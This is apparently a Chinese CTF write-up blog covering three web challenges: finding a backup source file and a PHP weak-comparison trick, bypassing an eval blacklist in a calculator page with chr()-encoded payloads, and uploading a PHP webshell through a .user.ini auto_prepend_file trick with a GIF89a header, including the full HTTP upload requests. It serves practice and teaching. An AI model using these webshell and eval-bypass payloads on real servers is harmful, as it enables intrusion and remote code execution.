[ACTF2020 新生赛]BackupFile
原始信息
这次官方很抠门,就给了一句话:
Try to find out source file!
   | 
 
使用dirmap快扫扫不出来,改为dirsearche扫描,扫描速度极度缓慢,使用了整整几乎一小时。(后面多了眼看了下字典,发现可能是网站问题,再扫下没三分钟就出来了……)
至于为什么这么久,我还特地翻了下字典,发现这货居然在5500行那里……
保守估计,完整扫完1W多条数据要三个小时左右。
还要个隐藏信息,BackupFile是文件备份的意思。
解题
扫站
常见网站备份文件的文件后缀
.rar、.zip、.7z、.tar、.gz、.tar.gz、.bz2、.tar.bz2、.sql、.bak、.dat、.txt、.log、.mdb
   | 
 
更多相关后缀点我
网站目录文件扫描器:dirsearch
"""简单的扫描命令如下""" python dirsearch.py -u "http://ab7744e5-9ead-40d2-99bb-90a0c2f7ac98.node4.buuoj.cn:81"
   | 
 
解源码(白盒审计)
翻了老半天,翻了个index.php.bak出来。之前还见到了www.zip的题来着。
因为源代码简短,也没什么必要分两块提取核心代码,这里简单分析下就OK了:
<?php
  include_once "flag.php";
 
  if(isset($_GET['key'])) {     $key = $_GET['key'];                         if(!is_numeric($key)) {         exit("Just num!");     }               $key = intval($key);          $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";                                               if($key == $str) {         echo $flag;     } } else {     echo "Try to find out source file!"; }
   | 
 
翻译成人话就是:我需要一个名为key的字符串,它必须是123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
     ?key=123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3          Just num!
 
      ?key=abc          Just num!
 
      ?key=123          flag{16f39bb7-b943-4c35-bd50-7fa1f436c975} 
 
  | 
 
php类型比较点我前往查看,包括强类型比较。
收获
1. php弱类型比较当中的数值转换 2. 网站备份文件,除了www.zip,www.rar还有index.php.bak
  相关的备份后缀还有: .rar、.zip、.7z、.tar、.gz、.tar.gz、.bz2、.tar.bz2、.sql、.bak、.dat、.txt、.log、.mdb
   | 
 
[RoarCTF 2019]Easy Calc
翻译:简单的计算器
原始信息
源代码信息:
<div class="container text-center" style="margin-top:30px;">   <h2>表达式</h2>   <form id="calc">     <div class="form-group">       <input type="text" class="form-control" id="content" placeholder="输入计算式" data-com.agilebits.onepassword.user-edited="yes">     </div>     <div id="result"><div class="alert alert-success">             </div></div>     <button type="submit" class="btn btn-primary">计算</button>   </form> </div>
  <script>     $('#calc').submit(function(){         $.ajax({             url:"calc.php?num="+encodeURIComponent($("#content").val()),             type:'GET',             success:function(data){                 $("#result").html(`<div class="alert alert-success">             <strong>答案:</strong>${data}             </div>`);             },             error:function(){                 alert("这啥?算不来!");             }         })         return false;     }) </script>
   | 
 
解题
很明显的前端验证,使用的是ajax,那就得针对js进行白盒审计了。
前端白盒审计
$('#calc').submit(function(){     $.ajax({         url:"calc.php?num="+encodeURIComponent($("#content").val()),         type:'GET',         success:function(data){             $("#result").html(`<div class="alert alert-success">         <strong>答案:</strong>${data}         </div>`);         },         error:function(){             alert("这啥?算不来!");         }     })     return false; })
  | 
 
没接触过 jQuery 代码,这次分析细致点:
 1.代码片段1     $('#calc').submit(function(){}              $() : jQuery 语法选择器,根据ID或者class选出特定的html元素                 '#calc'是某个HTML元素的ID的意思         $submit() : 绑定事件处理函数,使这个html标签具备提交表单的功能         function(){}: 提交表单后必然执行的匿名函数          $.ajax({}):发送异步的http请求          url: "calc.php?num=" + encodeURIComponent($("#content").val()):         指定了请求的 URL,包括了一个名为 num 的参数,         该参数的值是通过 $("#content").val()          获取的表单 id 为 content 的输入框的值,         并使用 encodeURIComponent() 进行 URL 编码。         -------------------------         说人话,就是URL后面加上这么一长串的东西进行访问         且能获得 '#calc' 下的 '#content' 的标签的html内容          type:'GET' :指定请求为get类型。
      success: function(data) { ... }:         定义了一个匿名函数作为请求成功时的回调函数。                  在这个函数中,data 参数表示服务器返回的数据。         这段代码使用了模板字符串构建了一个 HTML 结构,         并将从服务器返回的数据插入到 $("#result") 元素中。          $("#result").html(`<div class="alert alert-success"><strong>答案:</strong>${data}</div>`)         函数请求成功时,获取返回数据data并且装填入 "#result"当中         并且装填的内容时 .html(...) 指定的。
      error:function(){alert("这啥?算不来!");}         当服务器返回错误信息时,直接弹窗          return false;         这个语句的作用是阻止表单的默认提交动作,即阻止表单刷新页面。
 
  | 
 
总结下,就是:我使用ajax发送信息给calc.php接受并且处理,前端只是处理服务器信息和提交信息,根本就没有其它能够直接获得flag的信息了。
假如我需要获得更多信息,首先得抓包。
观察了下数据包,关键信息如下:
数据包: GET /calc.php?num=123123%2B1 HTTP/1.1 Host: node4.buuoj.cn:28963 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: *
 
 
 
 
 
 
 
 
 
   | 
 
既然是传参并且把参数url编码,那么直接在BP进行SQL注入测试。
第二波白盒分析
抓包的时候出现calc.php文件,尝试访问的时候,出现的下面的源码。
所以说,前端的那个JS直接舍弃,看这个代码为主。
<?php error_reporting(0); if(!isset($_GET['num'])){     show_source(__FILE__); }else{     $str = $_GET['num'];          $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];     foreach ($blacklist as $blackitem) {                  if (preg_match('/' . $blackitem . '/m', $str)) {             die("what are you want to do?");         }     }          eval('echo '.$str.';'); } ?> 
   | 
 
绕waf:在变量前加上空格。
 /calc.php? num=var_dump(scandir(chr(47)))
  /calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
 
 
  | 
 
总结
攻防世界 easyupload
先吐槽下,八成是靶机生效时间太慢的原因,差点把我心塞死了。
原始信息
题目提供的信息,除了文件上传和一个表单外,基本上没有其它。
 <form action="index.php" method="post" enctype="multipart/form-data">     <label for="file" style="color: blue;">更换头像</label>     <input type="file" name="fileUpload" id="file" style="color: blue;"><br>     <input type="submit" name="upload" value="提交"> </form>
  文件上传传入的是index.php
 
  | 
 
解题
使用BP拦截,测试了部分内容,过滤掉了:
字符串: php  文件名和文件内容 字符: ph     导致无法使用phtml 还有必须以GIF89a为数据包的开头,才能包含后门文件内容
   | 
 
总结上面的三点,最难搞的是ph这个过滤。
这种情况下,一般的直接上传php文件基本作废,那就只能把后门藏在其它文件内,包含到其它已存在或者可执行的php文件当中了。
在php配置当中,存在着两个文件包含漏洞相关的配置。当某些特殊情况下存在.user.ini文件时,.user.ini里面存在的函数会导致php文件出现包含执行。
功能类似于 include() ,有两个函数 但是都是在 .user.ini中配置的 属于是php外部控制php文件内容了 auto_prepend_file=hack.jpg auto_append_file=hack.jpg
   | 
 
BP截取到文件上传的数据包后,插入的关键代码是:
.user.ini配置文件
关键的配置信息:
文件名: .user.ini
  配置信息: GIF89a auto_prepend_file=a.jpg
   | 
 
下面是数据包:
POST /index.php HTTP/1.1 Host: 61.147.171.105:58986 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://61.147.171.105:58986/ DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------25839222533441 Content-Length: 346
  -----------------------------25839222533441 Content-Disposition: form-data; name="fileUpload"; filename=".user.ini" Content-Type: image/jpeg
  GIF89a                   auto_prepend_file=a.jpg -----------------------------25839222533441 Content-Disposition: form-data; name="upload"
  提交 -----------------------------25839222533441--
   | 
 
传入带后门的文件
关键参数配置
文件名:a.jpg 文件内容:
  GIF89a <?=eval($_POST['cmd'])?>
   | 
 
数据包内容如下
POST /index.php HTTP/1.1 Host: 61.147.171.105:58986 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://61.147.171.105:58986/ DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------25839222533441 Content-Length: 329
  -----------------------------25839222533441 Content-Disposition: form-data; name="fileUpload"; filename="a.jpg" Content-Type: image/jpeg
  GIF89a <?=eval($_POST['cmd']);?> -----------------------------25839222533441 Content-Disposition: form-data; name="upload"
  提交 -----------------------------25839222533441--
 
   | 
 
等待生效并且拿下后台
上传成功时,你能顺着路径访问到.user.ini和a.jpg,最后使用菜刀或者蚁剑连接时,是需要等uploads下的index.php文件生成才有效的。
当文件/uploads/index.php文件生效时,翻到根目录,拿下flag:
cyberpeace{4daa0158de4bbc7761962925ceffe935}
  | 
 
后记
注意,这个后门随时会消失,届时要重新上传后门。
拿下源代码,如下:
<?php error_reporting(0); function checkFileType($fileName){  	$file = fopen($fileName, "rb");  	$bin = fread($file, 2); 	fclose($file);  	$strInfo = @unpack("C2chars", $bin); 	$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);  	$fileType = ''; 
  	switch( $typeCode ) 	{ 		 case '255216': 		 return 'jpg'; 		 break; 		 case '7173': 		 return 'gif'; 		 break; 		 case '13780': 		 return 'png'; 		 break; 		 case '6677': 		 return 'bmp'; 		 break; 		 case '7790': 		 return 'exe'; 		 break; 		 case '7784': 		 return 'midi'; 		 break; 		 case '8297': 		 return 'rar'; 		 break; 		 default: 		 return 'Unknown'; 		 break; 	} 	return "Unknown"; }
  $upload_dir = "uploads"; if (isset($_POST["upload"])) {     $tmp_name = $_FILES["fileUpload"]["tmp_name"];     $name = $_FILES["fileUpload"]["name"];     if (!($tmp_name && $name)) {         die("File error");     }     $extension = pathinfo($name)['extension'];     $content = file_get_contents($tmp_name);     if (preg_match("/ph|htacess/i", $extension) || mb_strpos($content,'php') !== FALSE) {         die("Your file looks wicked");     }     if (checkFileType($tmp_name) === 'Unknown' || strpos($_FILES["fileUpload"]["type"], 'application') === 0) {         die("your filetype looks wicked");     }     $upload_file_path = $upload_dir . "/" . $name;     move_uploaded_file($tmp_name, $upload_file_path);     echo "file upload successful, the path is:  " . $upload_file_path .'<br>'; }
 
   | 
 
收获
原本算不算收获,但这是自己在实战当中第一次遇到,算是收获的一种把。
.user.ini文件配置     沟通是功能是:给当前工作目录下的每个php文件     的头部/尾部插入a.jpg的所有内容     auto_prepend_file=a.jpg     auto_append_file=a.jpg
  文件头欺骗:     GIF89a
  教训:思路不变通,到哪都死死胡同。
   |